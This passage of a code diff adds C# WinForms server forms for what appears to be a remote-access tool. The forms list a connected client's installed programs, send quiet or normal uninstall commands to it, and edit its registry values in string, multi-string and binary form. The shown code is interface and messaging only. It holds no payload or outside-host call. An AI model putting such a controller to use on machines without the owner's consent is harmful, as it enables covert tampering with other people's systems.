typeof(DataGridView).InvokeMember("DoubleBuffered", BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.SetProperty, null, dataGridView2, new object[1] { true });
}
private void Closing1(object sender, EventArgs e)
{
if (client != null)
{
client.Disconnect();
}
}
private void ChangeScheme(object sender)
{
dataGridView2.ColumnHeadersDefaultCellStyle.SelectionForeColor = FormMaterial.PrimaryColor;
dataGridView2.ColumnHeadersDefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
dataGridView2.DefaultCellStyle.SelectionBackColor = FormMaterial.PrimaryColor;
dataGridView2.DefaultCellStyle.ForeColor = FormMaterial.PrimaryColor;
}
private void timer1_Tick(object sender, EventArgs e)
{
if (!parrent.itsConnect)
{
Close();
}
if (client != null && !client.itsConnect)
{
Close();
}
}
private void killRemoveToolStripMenuItem_Click(object sender, EventArgs e)
{
client.Send(LEB128.Write(new object[1] { "Refresh" }));
}
private void toolStripMenuItem2_Click(object sender, EventArgs e)
{
if (dataGridView2.SelectedRows.Count == 0)
{
return;
}
foreach (DataGridViewRow selectedRow in dataGridView2.SelectedRows)
{
client.Send(LEB128.Write(new object[2]
{
"UninstallQuet",
(string)selectedRow.Cells[5].Value
}));
}
}
private void toolStripMenuItem1_Click(object sender, EventArgs e)
{
if (dataGridView2.SelectedRows.Count == 0)
{
return;
}
foreach (DataGridViewRow selectedRow in dataGridView2.SelectedRows)
{
client.Send(LEB128.Write(new object[2]
{
"Uninstall",
(string)selectedRow.Cells[5].Value
}));
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormPrograms));
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.killRemoveToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator();
this.toolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem();
this.panel1 = new System.Windows.Forms.Panel();
this.materialLabel1 = new MaterialSkin.Controls.MaterialLabel();
this.dataGridView2 = new System.Windows.Forms.DataGridView();
this.Column1 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column2 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column3 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column4 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column5 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column6 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.contextMenuStrip1.SuspendLayout();
this.panel1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.dataGridView2).BeginInit();
base.SuspendLayout();
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[4] { this.killRemoveToolStripMenuItem, this.toolStripSeparator1, this.toolStripMenuItem1, this.toolStripMenuItem2 });
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(181, 98);
this.killRemoveToolStripMenuItem.Image = (System.Drawing.Image)resources.GetObject("killRemoveToolStripMenuItem.Image");
this.killRemoveToolStripMenuItem.Name = "killRemoveToolStripMenuItem";
this.killRemoveToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.killRemoveToolStripMenuItem.Text = "Refresh";
this.killRemoveToolStripMenuItem.Click += new System.EventHandler(killRemoveToolStripMenuItem_Click);
this.toolStripSeparator1.Name = "toolStripSeparator1";
this.toolStripSeparator1.Size = new System.Drawing.Size(177, 6);
this.toolStripMenuItem2.Image = (System.Drawing.Image)resources.GetObject("toolStripMenuItem2.Image");
this.toolStripMenuItem2.Name = "toolStripMenuItem2";
this.toolStripMenuItem2.Size = new System.Drawing.Size(180, 22);
this.toolStripMenuItem2.Text = "Uninstall /quiet";
this.toolStripMenuItem2.Click += new System.EventHandler(toolStripMenuItem2_Click);
this.panel1.Controls.Add(this.materialLabel1);
this.panel1.Dock = System.Windows.Forms.DockStyle.Bottom;
this.panel1.Location = new System.Drawing.Point(3, 512);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(794, 20);
this.panel1.TabIndex = 1;
this.materialLabel1.AutoSize = true;
this.materialLabel1.Depth = 0;
this.materialLabel1.Font = new System.Drawing.Font("Roboto", 14f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Pixel);
this.materialLabel1.Location = new System.Drawing.Point(2, 1);
this.materialLabel1.MouseState = MaterialSkin.MouseState.HOVER;
this.materialLabel1.Name = "materialLabel1";
this.materialLabel1.Size = new System.Drawing.Size(94, 19);
this.materialLabel1.TabIndex = 1;
this.materialLabel1.Text = "Please wait...";
this.dataGridView2.AllowDrop = true;
this.dataGridView2.AllowUserToAddRows = false;
this.dataGridView2.AllowUserToDeleteRows = false;
this.dataGridView2.AllowUserToResizeColumns = false;
this.dataGridView2.AllowUserToResizeRows = false;
this.dataGridView2.BackgroundColor = System.Drawing.Color.White;
this.dataGridView2.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.dataGridView2.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;
this.dataGridView2.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft;
dataGridViewCellStyle.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.SelectionBackColor = System.Drawing.Color.White;
dataGridViewCellStyle.SelectionForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.dataGridView2.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle;
this.dataGridView2.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize;
this.dataGridView2.Columns.AddRange(this.Column1, this.Column2, this.Column3, this.Column4, this.Column5, this.Column6);
this.dataGridView2.ContextMenuStrip = this.contextMenuStrip1;
this.dataGridView2.Cursor = System.Windows.Forms.Cursors.Default;
dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle2.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle2.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle2.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionBackColor = System.Drawing.Color.Purple;
dataGridViewCellStyle2.SelectionForeColor = System.Drawing.Color.White;
dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False;
this.dataGridView2.DefaultCellStyle = dataGridViewCellStyle2;
this.dataGridView2.Dock = System.Windows.Forms.DockStyle.Fill;
this.dataGridView2.Enabled = false;
this.dataGridView2.EnableHeadersVisualStyles = false;
this.dataGridView2.GridColor = System.Drawing.Color.FromArgb(17, 17, 17);
this.dataGridView2.Location = new System.Drawing.Point(3, 64);
this.dataGridView2.Name = "dataGridView2";
this.dataGridView2.ReadOnly = true;
this.dataGridView2.RowHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle3.BackColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
dataGridViewCellStyle3.ForeColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.Padding = new System.Windows.Forms.Padding(1, 0, 0, 0);
dataGridViewCellStyle3.SelectionBackColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle3.SelectionForeColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.dataGridView2.RowHeadersDefaultCellStyle = dataGridViewCellStyle3;
this.dataGridView2.RowHeadersVisible = false;
this.dataGridView2.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
this.dataGridView2.ShowCellErrors = false;
this.dataGridView2.ShowCellToolTips = false;
this.dataGridView2.ShowEditingIcon = false;
this.dataGridView2.ShowRowErrors = false;
this.dataGridView2.Size = new System.Drawing.Size(794, 448);
this.dataGridView2.TabIndex = 17;
this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.Column1.HeaderText = "Name";
this.Column1.Name = "Column1";
this.Column1.ReadOnly = true;
this.Column1.Width = 64;
this.Column2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.Column2.HeaderText = "Version";
this.Column2.Name = "Column2";
this.Column2.ReadOnly = true;
this.Column2.Width = 71;
this.Column3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.Column3.HeaderText = "Date Installed";
this.Column3.MinimumWidth = 150;
this.Column3.Name = "Column3";
this.Column3.ReadOnly = true;
this.Column3.Width = 150;
this.Column4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.Column4.HeaderText = "Publisher";
this.Column4.Name = "Column4";
this.Column4.ReadOnly = true;
this.Column4.Width = 83;
this.Column5.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.Column5.HeaderText = "Location";
this.Column5.Name = "Column5";
this.Column5.ReadOnly = true;
this.Column5.Width = 77;
this.Column6.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
this.Column6.HeaderText = "Uninstall Command";
this.Column6.MinimumWidth = 150;
this.Column6.Name = "Column6";
this.Column6.ReadOnly = true;
this.toolStripMenuItem1.Image = (System.Drawing.Image)resources.GetObject("toolStripMenuItem1.Image");
this.toolStripMenuItem1.Name = "toolStripMenuItem1";
this.toolStripMenuItem1.Size = new System.Drawing.Size(180, 22);
this.toolStripMenuItem1.Text = "Uninstall";
this.toolStripMenuItem1.Click += new System.EventHandler(toolStripMenuItem1_Click);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
base.ClientSize = new System.Drawing.Size(800, 535);
base.Controls.Add(this.dataGridView2);
base.Controls.Add(this.panel1);
base.Name = "FormPrograms";
this.Text = "Programs";
base.Load += new System.EventHandler(FormProcess_Load);
this.contextMenuStrip1.ResumeLayout(false);
this.panel1.ResumeLayout(false);
this.panel1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.dataGridView2).EndInit();
base.ResumeLayout(false);
}
}
File diff suppressed because it is too large Load Diff
+162
View File
@@ -0,0 +1,162 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using CustomControls.RJControls;
using MaterialSkin;
using Server.Helper;
using Server.Helper.HexEditor;
namespace Server.Forms;
public class FormRegisterValueEditBinary : FormMaterial
{
private readonly RegistrySeeker.RegValueData _value;
private const string INVALID_BINARY_ERROR = "The binary value was invalid and could not be converted correctly.";
private IContainer components;
private RJButton rjButton4;
private RJTextBox valueNameTxtBox;
private RJButton rjButton1;
private HexEditor hexEditor;
public FormRegisterValueEditBinary(RegistrySeeker.RegValueData value)
{
_value = value;
InitializeComponent();
}
private void FormRegisterValueEditString_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
}
private void ChangeScheme(object sender)
{
hexEditor.ForeColor = FormMaterial.PrimaryColor;
valueNameTxtBox.BorderColor = FormMaterial.PrimaryColor;
rjButton1.BackColor = FormMaterial.PrimaryColor;
rjButton4.BackColor = FormMaterial.PrimaryColor;
}
private void rjButton1_Click(object sender, EventArgs e)
{
byte[] hexTable = hexEditor.HexTable;
if (hexTable != null)
{
try
{
_value.Data = hexTable;
base.DialogResult = DialogResult.OK;
base.Tag = _value;
}
catch
{
MessageBox.Show("The binary value was invalid and could not be converted correctly.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
base.DialogResult = DialogResult.None;
}
}
Close();
}
private void rjButton4_Click(object sender, EventArgs e)
{
Close();
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.rjButton4 = new CustomControls.RJControls.RJButton();
this.valueNameTxtBox = new CustomControls.RJControls.RJTextBox();
this.rjButton1 = new CustomControls.RJControls.RJButton();
this.hexEditor = new Server.Helper.HexEditor.HexEditor();
base.SuspendLayout();
this.rjButton4.BackColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton4.BackgroundColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton4.BorderColor = System.Drawing.Color.PaleVioletRed;
this.rjButton4.BorderRadius = 0;
this.rjButton4.BorderSize = 0;
this.rjButton4.FlatAppearance.BorderSize = 0;
this.rjButton4.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton4.Font = new System.Drawing.Font("Arial", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
this.rjButton4.ForeColor = System.Drawing.Color.White;
this.rjButton4.Location = new System.Drawing.Point(280, 448);
this.rjButton4.Name = "rjButton4";
this.rjButton4.Size = new System.Drawing.Size(74, 31);
this.rjButton4.TabIndex = 50;
this.rjButton4.Text = "Cancel";
this.rjButton4.TextColor = System.Drawing.Color.White;
this.rjButton4.UseVisualStyleBackColor = false;
this.rjButton4.Click += new System.EventHandler(rjButton4_Click);
this.valueNameTxtBox.BackColor = System.Drawing.SystemColors.Window;
this.valueNameTxtBox.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.valueNameTxtBox.BorderFocusColor = System.Drawing.Color.HotPink;
this.valueNameTxtBox.BorderRadius = 0;
this.valueNameTxtBox.BorderSize = 1;
this.valueNameTxtBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.5f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.valueNameTxtBox.ForeColor = System.Drawing.Color.FromArgb(64, 64, 64);
this.valueNameTxtBox.Location = new System.Drawing.Point(7, 410);
this.valueNameTxtBox.Margin = new System.Windows.Forms.Padding(4);
this.valueNameTxtBox.Multiline = false;
this.valueNameTxtBox.Name = "valueNameTxtBox";
this.valueNameTxtBox.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.valueNameTxtBox.PasswordChar = false;
this.valueNameTxtBox.PlaceholderColor = System.Drawing.Color.DarkGray;
this.valueNameTxtBox.PlaceholderText = "Name";
this.valueNameTxtBox.Size = new System.Drawing.Size(347, 31);
this.valueNameTxtBox.TabIndex = 49;
this.valueNameTxtBox.Texts = "";
this.valueNameTxtBox.UnderlinedStyle = false;
this.rjButton1.BackColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton1.BackgroundColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton1.BorderColor = System.Drawing.Color.PaleVioletRed;
this.rjButton1.BorderRadius = 0;
this.rjButton1.BorderSize = 0;
this.rjButton1.FlatAppearance.BorderSize = 0;
this.rjButton1.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton1.Font = new System.Drawing.Font("Arial", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
this.rjButton1.ForeColor = System.Drawing.Color.White;
this.rjButton1.Location = new System.Drawing.Point(200, 448);
this.rjButton1.Name = "rjButton1";
this.rjButton1.Size = new System.Drawing.Size(74, 31);
this.rjButton1.TabIndex = 52;
this.rjButton1.Text = "Save";
this.rjButton1.TextColor = System.Drawing.Color.White;
this.rjButton1.UseVisualStyleBackColor = false;
this.rjButton1.Click += new System.EventHandler(rjButton1_Click);
this.hexEditor.BorderColor = System.Drawing.Color.Empty;
this.hexEditor.Cursor = System.Windows.Forms.Cursors.IBeam;
this.hexEditor.ForeColor = System.Drawing.Color.MediumSlateBlue;
this.hexEditor.Location = new System.Drawing.Point(7, 67);
this.hexEditor.Name = "hexEditor";
this.hexEditor.SelectionBackColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.hexEditor.Size = new System.Drawing.Size(347, 336);
this.hexEditor.TabIndex = 53;
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(367, 495);
base.Controls.Add(this.hexEditor);
base.Controls.Add(this.rjButton1);
base.Controls.Add(this.rjButton4);
base.Controls.Add(this.valueNameTxtBox);
base.Name = "FormRegisterValueEditBinary";
this.Text = "Register Value Edit Binary";
base.Load += new System.EventHandler(FormRegisterValueEditString_Load);
base.ResumeLayout(false);
}
}
@@ -0,0 +1,160 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using CustomControls.RJControls;
using MaterialSkin;
using Server.Helper;
namespace Server.Forms;
public class FormRegisterValueEditMultiString : FormMaterial
{
private readonly RegistrySeeker.RegValueData _value;
private IContainer components;
private RJButton rjButton4;
private RJTextBox valueNameTxtBox;
private RJTextBox valueDataTxtBox;
private RJButton rjButton1;
public FormRegisterValueEditMultiString(RegistrySeeker.RegValueData value)
{
_value = value;
InitializeComponent();
valueNameTxtBox.Text = value.Name;
valueDataTxtBox.Text = string.Join("\r\n", Server.Helper.ByteConverter.ToStringArray(value.Data));
}
private void FormRegisterValueEditString_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
}
private void ChangeScheme(object sender)
{
valueDataTxtBox.BackColor = FormMaterial.PrimaryColor;
valueNameTxtBox.BorderColor = FormMaterial.PrimaryColor;
rjButton1.BackColor = FormMaterial.PrimaryColor;
rjButton4.BackColor = FormMaterial.PrimaryColor;
}
private void rjButton1_Click(object sender, EventArgs e)
{
_value.Data = Server.Helper.ByteConverter.GetBytes(valueDataTxtBox.Text.Split(new string[1] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries));
base.Tag = _value;
base.DialogResult = DialogResult.OK;
Close();
}
private void rjButton4_Click(object sender, EventArgs e)
{
Close();
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.rjButton4 = new CustomControls.RJControls.RJButton();
this.valueNameTxtBox = new CustomControls.RJControls.RJTextBox();
this.valueDataTxtBox = new CustomControls.RJControls.RJTextBox();
this.rjButton1 = new CustomControls.RJControls.RJButton();
base.SuspendLayout();
this.rjButton4.BackColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton4.BackgroundColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton4.BorderColor = System.Drawing.Color.PaleVioletRed;
this.rjButton4.BorderRadius = 0;
this.rjButton4.BorderSize = 0;
this.rjButton4.FlatAppearance.BorderSize = 0;
this.rjButton4.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton4.Font = new System.Drawing.Font("Arial", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
this.rjButton4.ForeColor = System.Drawing.Color.White;
this.rjButton4.Location = new System.Drawing.Point(281, 444);
this.rjButton4.Name = "rjButton4";
this.rjButton4.Size = new System.Drawing.Size(74, 31);
this.rjButton4.TabIndex = 50;
this.rjButton4.Text = "Cancel";
this.rjButton4.TextColor = System.Drawing.Color.White;
this.rjButton4.UseVisualStyleBackColor = false;
this.rjButton4.Click += new System.EventHandler(rjButton4_Click);
this.valueNameTxtBox.BackColor = System.Drawing.SystemColors.Window;
this.valueNameTxtBox.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.valueNameTxtBox.BorderFocusColor = System.Drawing.Color.HotPink;
this.valueNameTxtBox.BorderRadius = 0;
this.valueNameTxtBox.BorderSize = 1;
this.valueNameTxtBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.5f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.valueNameTxtBox.ForeColor = System.Drawing.Color.FromArgb(64, 64, 64);
this.valueNameTxtBox.Location = new System.Drawing.Point(7, 406);
this.valueNameTxtBox.Margin = new System.Windows.Forms.Padding(4);
this.valueNameTxtBox.Multiline = false;
this.valueNameTxtBox.Name = "valueNameTxtBox";
this.valueNameTxtBox.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.valueNameTxtBox.PasswordChar = false;
this.valueNameTxtBox.PlaceholderColor = System.Drawing.Color.DarkGray;
this.valueNameTxtBox.PlaceholderText = "Name";
this.valueNameTxtBox.Size = new System.Drawing.Size(347, 31);
this.valueNameTxtBox.TabIndex = 49;
this.valueNameTxtBox.Texts = "";
this.valueNameTxtBox.UnderlinedStyle = false;
this.valueDataTxtBox.BackColor = System.Drawing.SystemColors.Window;
this.valueDataTxtBox.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.valueDataTxtBox.BorderFocusColor = System.Drawing.Color.HotPink;
this.valueDataTxtBox.BorderRadius = 0;
this.valueDataTxtBox.BorderSize = 1;
this.valueDataTxtBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.5f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.valueDataTxtBox.ForeColor = System.Drawing.Color.FromArgb(64, 64, 64);
this.valueDataTxtBox.Location = new System.Drawing.Point(7, 68);
this.valueDataTxtBox.Margin = new System.Windows.Forms.Padding(4);
this.valueDataTxtBox.Multiline = true;
this.valueDataTxtBox.Name = "valueDataTxtBox";
this.valueDataTxtBox.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.valueDataTxtBox.PasswordChar = false;
this.valueDataTxtBox.PlaceholderColor = System.Drawing.Color.DarkGray;
this.valueDataTxtBox.PlaceholderText = "Value";
this.valueDataTxtBox.Size = new System.Drawing.Size(347, 330);
this.valueDataTxtBox.TabIndex = 51;
this.valueDataTxtBox.Texts = "";
this.valueDataTxtBox.UnderlinedStyle = false;
this.rjButton1.BackColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton1.BackgroundColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton1.BorderColor = System.Drawing.Color.PaleVioletRed;
this.rjButton1.BorderRadius = 0;
this.rjButton1.BorderSize = 0;
this.rjButton1.FlatAppearance.BorderSize = 0;
this.rjButton1.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton1.Font = new System.Drawing.Font("Arial", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
this.rjButton1.ForeColor = System.Drawing.Color.White;
this.rjButton1.Location = new System.Drawing.Point(201, 444);
this.rjButton1.Name = "rjButton1";
this.rjButton1.Size = new System.Drawing.Size(74, 31);
this.rjButton1.TabIndex = 52;
this.rjButton1.Text = "Save";
this.rjButton1.TextColor = System.Drawing.Color.White;
this.rjButton1.UseVisualStyleBackColor = false;
this.rjButton1.Click += new System.EventHandler(rjButton1_Click);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(367, 490);
base.Controls.Add(this.rjButton1);
base.Controls.Add(this.valueDataTxtBox);
base.Controls.Add(this.rjButton4);
base.Controls.Add(this.valueNameTxtBox);
base.Name = "FormRegisterValueEditMultiString";
this.Text = "Register Value Edit MultiString";
base.Load += new System.EventHandler(FormRegisterValueEditString_Load);
base.ResumeLayout(false);
}
}
+160
View File
@@ -0,0 +1,160 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using CustomControls.RJControls;
using MaterialSkin;
using Server.Helper;
namespace Server.Forms;
public class FormRegisterValueEditString : FormMaterial
{
private readonly RegistrySeeker.RegValueData _value;
private IContainer components;
private RJButton rjButton4;
private RJTextBox valueNameTxtBox;
private RJTextBox valueDataTxtBox;
private RJButton rjButton1;
public FormRegisterValueEditString(RegistrySeeker.RegValueData value)
{
_value = value;
InitializeComponent();
valueNameTxtBox.Text = RegValueHelper.GetName(value.Name);
valueDataTxtBox.Text = Server.Helper.ByteConverter.ToString(value.Data);
}
private void FormRegisterValueEditString_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
}
private void ChangeScheme(object sender)
{
valueDataTxtBox.BackColor = FormMaterial.PrimaryColor;
valueNameTxtBox.BorderColor = FormMaterial.PrimaryColor;
rjButton1.BackColor = FormMaterial.PrimaryColor;
rjButton4.BackColor = FormMaterial.PrimaryColor;
}
private void rjButton1_Click(object sender, EventArgs e)
{
_value.Data = Server.Helper.ByteConverter.GetBytes(valueDataTxtBox.Text);
base.Tag = _value;
base.DialogResult = DialogResult.OK;
Close();
}
private void rjButton4_Click(object sender, EventArgs e)
{
Close();
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.rjButton4 = new CustomControls.RJControls.RJButton();
this.valueNameTxtBox = new CustomControls.RJControls.RJTextBox();
this.valueDataTxtBox = new CustomControls.RJControls.RJTextBox();
this.rjButton1 = new CustomControls.RJControls.RJButton();
base.SuspendLayout();
this.rjButton4.BackColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton4.BackgroundColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.rjButton4.BorderColor = System.Drawing.Color.PaleVioletRed;
this.rjButton4.BorderRadius = 0;
this.rjButton4.BorderSize = 0;
this.rjButton4.FlatAppearance.BorderSize = 0;
this.rjButton4.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton4.Font = new System.Drawing.Font("Arial", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
this.rjButton4.ForeColor = System.Drawing.Color.White;
this.rjButton4.Location = new System.Drawing.Point(280, 145);
this.rjButton4.Name = "rjButton4";
this.rjButton4.Size = new System.Drawing.Size(74, 31);
this.rjButton4.TabIndex = 50;
this.rjButton4.Text = "Cancel";
this.rjButton4.TextColor = System.Drawing.Color.White;
this.rjButton4.UseVisualStyleBackColor = false;
this.rjButton4.Click += new System.EventHandler(rjButton4_Click);
this.valueNameTxtBox.BackColor = System.Drawing.SystemColors.Window;
this.valueNameTxtBox.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.valueNameTxtBox.BorderFocusColor = System.Drawing.Color.HotPink;
this.valueNameTxtBox.BorderRadius = 0;
this.valueNameTxtBox.BorderSize = 1;
this.valueNameTxtBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.5f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.valueNameTxtBox.ForeColor = System.Drawing.Color.FromArgb(64, 64, 64);
this.valueNameTxtBox.Location = new System.Drawing.Point(7, 107);
this.valueNameTxtBox.Margin = new System.Windows.Forms.Padding(4);
this.valueNameTxtBox.Multiline = false;
this.valueNameTxtBox.Name = "valueNameTxtBox";
this.valueNameTxtBox.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.valueNameTxtBox.PasswordChar = false;
this.valueNameTxtBox.PlaceholderColor = System.Drawing.Color.DarkGray;
this.valueNameTxtBox.PlaceholderText = "Name";
this.valueNameTxtBox.Size = new System.Drawing.Size(347, 31);
this.valueNameTxtBox.TabIndex = 49;
this.valueNameTxtBox.Texts = "";
this.valueNameTxtBox.UnderlinedStyle = false;
this.valueDataTxtBox.BackColor = System.Drawing.SystemColors.Window;
this.valueDataTxtBox.BorderColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.valueDataTxtBox.BorderFocusColor = System.Drawing.Color.HotPink;
this.valueDataTxtBox.BorderRadius = 0;
this.valueDataTxtBox.BorderSize = 1;
this.valueDataTxtBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.5f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.valueDataTxtBox.ForeColor = System.Drawing.Color.FromArgb(64, 64, 64);
this.valueDataTxtBox.Location = new System.Drawing.Point(7, 68);
this.valueDataTxtBox.Margin = new System.Windows.Forms.Padding(4);
this.valueDataTxtBox.Multiline = false;
this.valueDataTxtBox.Name = "valueDataTxtBox";
this.valueDataTxtBox.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.valueDataTxtBox.PasswordChar = false;
this.valueDataTxtBox.PlaceholderColor = System.Drawing.Color.DarkGray;
this.valueDataTxtBox.PlaceholderText = "Value";
this.valueDataTxtBox.Size = new System.Drawing.Size(347, 31);
this.valueDataTxtBox.TabIndex = 51;
this.valueDataTxtBox.Texts = "";
this.valueDataTxtBox.UnderlinedStyle = false;
this.rjButton1.BackColor = System.Drawing.Color.FromArgb(192, 0, 192);
